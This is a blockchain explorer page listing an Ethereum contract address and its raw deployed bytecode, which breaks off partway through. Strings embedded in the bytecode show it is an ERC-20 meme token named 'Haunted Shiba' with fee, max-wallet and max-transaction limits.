Address Contract Partially Verified
Address
0x2a0e7d6bd98e6D7c996AFB672cEE017a2799170d
Balance
0.000000000 ETH
Nonce
1
Code Size
17217 bytes
Creator
0x9c903A64...0d01 at tx 0x9b0f9162...f785cc
Indexed Transactions
0
Contract Bytecode
17217 bytes
0x60806040526004361061023f5760003560e01c806370a082311161012e578063d9f7e4df116100ab578063ec6d9b2d1161006f578063ec6d9b2d1461081a578063f2fde38b14610845578063f42938901461086e578063fc588c0414610885578063fd01bd4c146108ae57610246565b8063d9f7e4df14610747578063dc903ba114610772578063dd62ed3e1461079d578063de7d40ac146107da578063e632313c146107f157610246565b806395d89b41116100f257806395d89b411461065e578063a55d702214610689578063a9059cbb146106b4578063af465a27146106f1578063d89135cd1461071c57610246565b806370a0823114610589578063715018a6146105c65780638da5cb5b146105dd5780638ea78153146106085780639226fa961461063357610246565b806323b872dd116101bc57806336cf7c871161018057806336cf7c87146104da57806349bd5a5e1461050557806351bc3c85146105305780635dbc2fe1146105475780636c0a24eb1461055e57610246565b806323b872dd146103f357806323bbf9e71461043057806327a14fc21461045b5780632e8fa82114610484578063313ce567146104af57610246565b80631694505e116102035780631694505e1461031e57806318160ddd146103495780631cabcc4f146103745780631f53ac021461039f578063233296f0146103c857610246565b806306fdde031461024b578063072c8c1214610276578063080219e21461029f578063095ea7b3146102b65780630cdf2187146102f357610246565b3661024657005b600080fd5b34801561025757600080fd5b506102606108d9565b60405161026d9190613397565b60405180910390f35b34801561028257600080fd5b5061029d600480360381019061029891906133f4565b610916565b005b3480156102ab57600080fd5b506102b4610981565b005b3480156102c257600080fd5b506102dd60048036038101906102d8919061347f565b610a24565b6040516102ea91906134da565b60405180910390f35b3480156102ff57600080fd5b50610308610a42565b6040516103159190613504565b60405180910390f35b34801561032a57600080fd5b50610333610a48565b604051610340919061357e565b60405180910390f35b34801561035557600080fd5b5061035e610a6e565b60405161036b9190613504565b60405180910390f35b34801561038057600080fd5b50610389610a78565b6040516103969190613504565b60405180910390f35b3480156103ab57600080fd5b506103c660048036038101906103c191906135d7565b610a7e565b005b3480156103d457600080fd5b506103dd610b57565b6040516103ea9190613504565b60405180910390f35b3480156103ff57600080fd5b5061041a60048036038101906104159190613604565b610b5d565b60405161042791906134da565b60405180910390f35b34801561043c57600080fd5b50610445610c36565b6040516104529190613504565b60405180910390f35b34801561046757600080fd5b50610482600480360381019061047d91906133f4565b610c3c565b005b34801561049057600080fd5b50610499610cfe565b6040516104a69190613504565b60405180910390f35b3480156104bb57600080fd5b506104c4610d04565b6040516104d19190613673565b60405180910390f35b3480156104e657600080fd5b506104ef610d0d565b6040516104fc919061369d565b60405180910390f35b34801561051157600080fd5b5061051a610d33565b60405161052791906136c7565b60405180910390f35b34801561053c57600080fd5b50610545610d59565b005b34801561055357600080fd5b5061055c610ddd565b005b34801561056a57600080fd5b50610573610e8f565b6040516105809190613504565b60405180910390f35b34801561059557600080fd5b506105b060048036038101906105ab91906136e2565b610e95565b6040516105bd9190613504565b60405180910390f35b3480156105d257600080fd5b506105db610ede565b005b3480156105e957600080fd5b506105f2611031565b6040516105ff91906136c7565b60405180910390f35b34801561061457600080fd5b5061061d61105a565b60405161062a91906134da565b60405180910390f35b34801561063f57600080fd5b5061064861106d565b6040516106559190613504565b60405180910390f35b34801561066a57600080fd5b50610673611073565b6040516106809190613397565b60405180910390f35b34801561069557600080fd5b5061069e6110b0565b6040516106ab9190613504565b60405180910390f35b3480156106c057600080fd5b506106db60048036038101906106d6919061347f565b6110b6565b6040516106e891906134da565b60405180910390f35b3480156106fd57600080fd5b506107066110d4565b6040516107139190613504565b60405180910390f35b34801561072857600080fd5b506107316110da565b60405161073e9190613504565b60405180910390f35b34801561075357600080fd5b5061075c6110e4565b6040516107699190613504565b60405180910390f35b34801561077e57600080fd5b506107876110ea565b6040516107949190613504565b60405180910390f35b3480156107a957600080fd5b506107c460048036038101906107bf919061370f565b6110f0565b6040516107d19190613504565b60405180910390f35b3480156107e657600080fd5b506107ef611177565b005b3480156107fd57600080fd5b50610818600480360381019061081391906133f4565b6111fa565b005b34801561082657600080fd5b5061082f611265565b60405161083c9190613504565b60405180910390f35b34801561085157600080fd5b5061086c600480360381019061086791906136e2565b61126b565b005b34801561087a57600080fd5b5061088361137b565b005b34801561089157600080fd5b506108ac60048036038101906108a791906133f4565b6113f7565b005b3480156108ba57600080fd5b506108c36114aa565b6040516108d09190613504565b60405180910390f35b60606040518060400160405280600d81526020017f4861756e74656420536869626100000000000000000000000000000000000000815250905090565b601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109576114fa565b73ffffffffffffffffffffffffffffffffffffffff161461097757600080fd5b8060098190555050565b601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109c26114fa565b73ffffffffffffffffffffffffffffffffffffffff16146109e257600080fd5b6002600a819055506002600b819055506001600c819055506005600d819055506002600e819055506002600f8190555060016010819055506005601181905550565b6000610a38610a316114fa565b8484611502565b6001905092915050565b600e5481565b602060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600554905090565b60115481565b610a866114fa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b13576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0a9061379b565b60405180910390fd5b80601d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60075481565b6000610b6a8484846116cb565b610c2b84610b766114fa565b610c26856040518060600160405280602881526020016142e460289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610bdc6114fa565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120619092919063ffffffff16565b611502565b600190509392505050565b600a5481565b601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c7d6114fa565b73ffffffffffffffffffffffffffffffffffffffff1614610c9d57600080fd5b610cb360c86005546114b090919063ffffffff16565b8111610cf4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ceb9061382d565b60405180910390fd5b8060068190555050565b60085481565b60006006905090565b601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b602160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d9a6114fa565b73ffffffffffffffffffffffffffffffffffffffff1614610dba57600080fd5b6000610dc530610e95565b90506000811115610dda57610dd9816120c5565b5b50565b610de56114fa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e72576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e699061379b565b60405180910390fd5b6001602160156101000a81548160ff021916908315150217905550565b60065481565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610ee66114fa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f73576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f6a9061379b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b602160159054906101000a900460ff1681565b60105481565b60606040518060400160405280600481526020017f4849424100000000000000000000000000000000000000000000000000000000815250905090565b600c5481565b60006110ca6110c36114fa565b84846116cb565b6001905092915050565b60055481565b6000601a54905090565b600f5481565b600b5481565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111b86114fa565b73ffffffffffffffffffffffffffffffffffffffff16146111d857600080fd5b60016011819055506002600e819055506002600a819055506001600d81905550565b601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661123b6114fa565b73ffffffffffffffffffffffffffffffffffffffff161461125b57600080fd5b8060088190555050565b600d5481565b6112736114fa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611300576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112f79061379b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361136f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611366906138bf565b60405180910390fd5b6113788161233e565b50565b601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166113bc6114fa565b73ffffffffffffffffffffffffffffffffffffffff16146113dc57600080fd5b600047905060008111156113f4576113f381612402565b5b50565b6402540be40081101561143f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114369061392b565b60405180910390fd5b601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166114806114fa565b73ffffffffffffffffffffffffffffffffffffffff16146114a057600080fd5b8060078190555050565b601a5481565b60006114f283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506124fd565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611571576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611568906139bd565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036115e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115d790613a4f565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516116be9190613504565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361173a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173190613ae1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036117a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117a090613b73565b60405180910390fd5b600081116117ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117e390613c05565b60405180910390fd5b601b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118905750601b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61189957600080fd5b6000600190506118a7611031565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561191557506118e5611031565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561194d57503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561198557503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611f9c57602160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611a355750602060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611ae05750600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580611adf5750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b5b15611b8a57600654611b0383611af586610e95565b61256090919063ffffffff16565b1115611b44576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b3b90613c97565b60405180910390fd5b600754821115611b89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b8090613d29565b60405180910390fd5b5b602160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611c355750602060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611c8b5750601b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611ce15750601b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611d0b57600a54601681905550600b54601781905550600c54601881905550600d546019819055505b602160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611db65750602060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611e0c5750601b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611e625750601b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611e8c57600e54601681905550600f546017819055506010546018819055506011546019819055505b602160149054906101000a900460ff16158015611ef75750602160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611f9b576000611f0730610e95565b9050600854811115611f1d57611f1c816125be565b5b6000479050602160159054906101000a900460ff16158015611f3f5750600081115b15611f5257611f4d47612402565b611f98565b602160159054906101000a900460ff168015611f6f575060095481115b15611f97576000611f8a6002836114b090919063ffffffff16565b9050611f95816126e7565b505b5b50505b5b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061203d5750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561204757600090505b612053848484846126fd565b61205b612cc7565b50505050565b60008383111582906120a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120a09190613397565b60405180910390fd5b50600083856120b89190613d78565b9050809150509392505050565b6001602160146101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156120fd576120fc613dac565b5b60405190808252806020026020018201604052801561212b5781602001602082028036833780820191505090505b509050308160008151811061214357612142613ddb565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050602060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156121ea573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061220e9190613e1f565b8160018151811061222257612221613ddb565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061228930602060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611502565b602060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016122ed959493929190613f45565b600060405180830381600087803b15801561230757600080fd5b505af115801561231b573d6000803e3d6000fd5b50505050506000602160146101000a81548160ff02191690831515021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6124526002846114b090919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561247d573d6000803e3d6000fd5b50601d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6124ce6002846114b090919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156124f9573d6000803e3d6000fd5b5050565b60008083118290612544576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161253b9190613397565b60405180910390fd5b50600083856125539190613fce565b9050809150509392505050565b600080828461256f9190613fff565b9050838110156125b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125ab906140a1565b60405180910390fd5b8091505092915050565b6001602160146101000a81548160ff021916908315150217905550600061264061261d60165461260f60195461260160185460175461256090919063ffffffff16565b61256090919063ffffffff16565b61256090919063ffffffff16565b61263284601654612ced90919063ffffffff16565b6114b090919063ffffffff16565b905060006126586002836114b090919063ffffffff16565b9050600061266f8285612d6790919063ffffffff16565b9050600047905061267f826120c5565b60006126b8836126aa8661269c8647612d6790919063ffffffff16565b612ced90919063ffffffff16565b6114b090919063ffffffff16565b90506126c48482612db1565b50505050506000602160146101000a81548160ff02191690831515021790555050565b60008111156126fa576126f981612eb1565b5b50565b8061270b5761270a61310a565b5b6127136132cf565b61273b606461272d60175486612ced90919063ffffffff16565b6114b090919063ffffffff16565b81602001818152505061276c606461275e60165486612ced90919063ffffffff16565b6114b090919063ffffffff16565b81600001818152505061279d606461278f60185486612ced90919063ffffffff16565b6114b090919063ffffffff16565b8160400181815250506127ce60646127c060195486612ced90919063ffffffff16565b6114b090919063ffffffff16565b81606001818152505061283081600001516128228360200151612814856060015161280687604001518a612d6790919063ffffffff16565b612d6790919063ffffffff16565b612d6790919063ffffffff16565b612d6790919063ffffffff16565b8160800181815250506000612852826020015185612d6790919063ffffffff16565b9050612862868360200151613185565b6128b481600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6790919063ffffffff16565b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061294d8260800151600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461256090919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612a286129ae8360000151846020015161256090919063ffffffff16565b612a1a8460600151612a0c8660400151600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461256090919063ffffffff16565b61256090919063ffffffff16565b61256090919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550602160159054906101000a900460ff168015612ad55750602160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614155b8015612b0d57503073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614155b8015612b675750602060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614155b8015612c185750602060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161480612c175750602160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b5b15612c4e57612c4d602160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168360200151613185565b5b8473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460800151604051612caf9190613504565b60405180910390a3612cbf612cc7565b505050505050565b601254601681905550601354601781905550601454601881905550601554601981905550565b6000808303612cff5760009050612d61565b60008284612d0d91906140c1565b9050828482612d1c9190613fce565b14612d5c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d539061418d565b60405180910390fd5b809150505b92915050565b6000612da983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612061565b905092915050565b612dde30602060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611502565b602060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719823085600080601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b8152600401612e67969594939291906141ce565b60606040518083038185885af1158015612e85573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190612eaa9190614244565b5050505050565b6000600267ffffffffffffffff811115612ece57612ecd613dac565b5b604051908082528060200260200182016040528015612efc5781602001602082028036833780820191505090505b509050602060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612f6c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612f909190613e1f565b81600081518110612fa457612fa3613ddb565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168160018151811061301557613014613ddb565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050602060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663b6f9de9583600084601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b81526004016130d49493929190614297565b6000604051808303818588803b1580156130ed57600080fd5b505af1158015613101573d6000803e3d6000fd5b50505050505050565b600060175414801561311e57506000601654145b801561312c57506000601854145b801561313a57506000601954145b6131835760175460138190555060165460128190555060185460148190555060195460158190555060006017819055506000601681905550600060188190555060006019819055505b565b61318e82610e95565b81111561319a57600080fd5b6131ec81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6790919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061324481600554612d6790919063ffffffff16565b60058190555061325f81601a5461256090919063ffffffff16565b601a81905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516132c39190613504565b60405180910390a35050565b6040518060a0016040528060008152602001600081526020016000815260200160008152602001600081525090565b600081519050919050565b600082825260208201905092915050565b60005b8381101561333857808201518184015260208101905061331d565b83811115613347576000848401525b50505050565b6000601f19601f8301169050919050565b6000613369826132fe565b6133738185613309565b935061338381856020860161331a565b61338c8161334d565b840191505092915050565b600060208201905081810360008301526133b1818461335e565b905092915050565b600080fd5b6000819050919050565b6133d1816133be565b81146133dc57600080fd5b50565b6000813590506133ee816133c8565b92915050565b60006020828403121561340a576134096133b9565b5b6000613418848285016133df565b91505092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061344c82613421565b9050919050565b61345c81613441565b811461346757600080fd5b50565b60008135905061347981613453565b92915050565b60008060408385031215613496576134956133b9565b5b60006134a48582860161346a565b92505060206134b5858286016133df565b9150509250929050565b60008115159050919050565b6134d4816134bf565b82525050565b60006020820190506134ef60008301846134cb565b92915050565b6134fe816133be565b82525050565b600060208201905061351960008301846134f5565b92915050565b6000819050919050565b600061354461353f61353a84613421565b61351f565b613421565b9050919050565b600061355682613529565b9050919050565b60006135688261354b565b9050919050565b6135788161355d565b82525050565b6000602082019050613593600083018461356f565b92915050565b60006135a482613421565b9050919050565b6135b481613599565b81146135bf57600080fd5b50565b6000813590506135d1816135ab565b92915050565b6000602082840312156135ed576135ec6133b9565b5b60006135fb848285016135c2565b91505092915050565b60008060006060848603121561361d5761361c6133b9565b5b600061362b8682870161346a565b935050602061363c8682870161346a565b925050604061364d868287016133df565b9150509250925092565b600060ff82169050919050565b61366d81613657565b82525050565b60006020820190506136886000830184613664565b92915050565b61369781613599565b82525050565b60006020820190506136b2600083018461368e565b92915050565b6136c181613441565b82525050565b60006020820190506136dc60008301846136b8565b92915050565b6000602082840312156136f8576136f76133b9565b5b60006137068482850161346a565b91505092915050565b60008060408385031215613726576137256133b9565b5b60006137348582860161346a565b92505060206137458582860161346a565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000613785602083613309565b91506137908261374f565b602082019050919050565b600060208201905081810360008301526137b481613778565b9050919050565b7f416d6f756e74206d7573742062652067726561746572207468616e20302e352560008201527f206f6620737570706c7900000000000000000000000000000000000000000000602082015250565b6000613817602a83613309565b9150613822826137bb565b604082019050919050565b600060208201905081810360008301526138468161380a565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006138a9602683613309565b91506138b48261384d565b604082019050919050565b600060208201905081810360008301526138d88161389c565b9050919050565b7f6e656761746976652067686f7374207269646572000000000000000000000000600082015250565b6000613915601483613309565b9150613920826138df565b602082019050919050565b6000602082019050818103600083015261394481613908565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006139a7602483613309565b91506139b28261394b565b604082019050919050565b600060208201905081810360008301526139d68161399a565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613a39602283613309565b9150613a44826139dd565b604082019050919050565b60006020820190508181036000830152613a6881613a2c565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613acb602583613309565b9150613ad682613a6f565b604082019050919050565b60006020820190508181036000830152613afa81613abe565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613b5d602383613309565b9150613b6882613b01565b604082019050919050565b60006020820190508181036000830152613b8c81613b50565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000613bef602983613309565b9150613bfa82613b93565b604082019050919050565b60006020820190508181036000830152613c1e81613be2565b9050919050565b7f596f7520617265206265696e67206772656564792e20457863656564696e672060008201527f4d61782057616c6c65742e000000000000000000000000000000000000000000602082015250565b6000613c81602b83613309565b9150613c8c82613c25565b604082019050919050565b60006020820190508181036000830152613cb081613c74565b9050919050565b7f536c6f7720646f776e2062756464792e2e2e74686572652069732061206d617860008201527f207472616e73616374696f6e0000000000000000000000000000000000000000602082015250565b6000613d13602c83613309565b9150613d1e82613cb7565b604082019050919050565b60006020820190508181036000830152613d4281613d06565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000613d83826133be565b9150613d8e836133be565b925082821015613da157613da0613d49565b5b828203905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050613e1981613453565b92915050565b600060208284031215613e3557613e346133b9565b5b6000613e4384828501613e0a565b91505092915050565b6000819050919050565b6000613e71613e6c613e6784613e4c565b61351f565b6133be565b9050919050565b613e8181613e56565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613ebc81613441565b82525050565b6000613ece8383613eb3565b60208301905092915050565b6000602082019050919050565b6000613ef282613e87565b613efc8185613e92565b9350613f0783613ea3565b8060005b83811015613f38578151613f1f8882613ec2565b9750613f2a83613eda565b925050600181019050613f0b565b5085935050505092915050565b600060a082019050613f5a60008301886134f5565b613f676020830187613e78565b8181036040830152613f798186613ee7565b9050613f8860608301856136b8565b613f9560808301846134f5565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613fd9826133be565b9150613fe4836133be565b925082613ff457613ff3613f9f565b5b828204905092915050565b600061400a826133be565b9150614015836133be565b9250827ffffffffffffffffffffffffffffffffffffffffffffffffffffff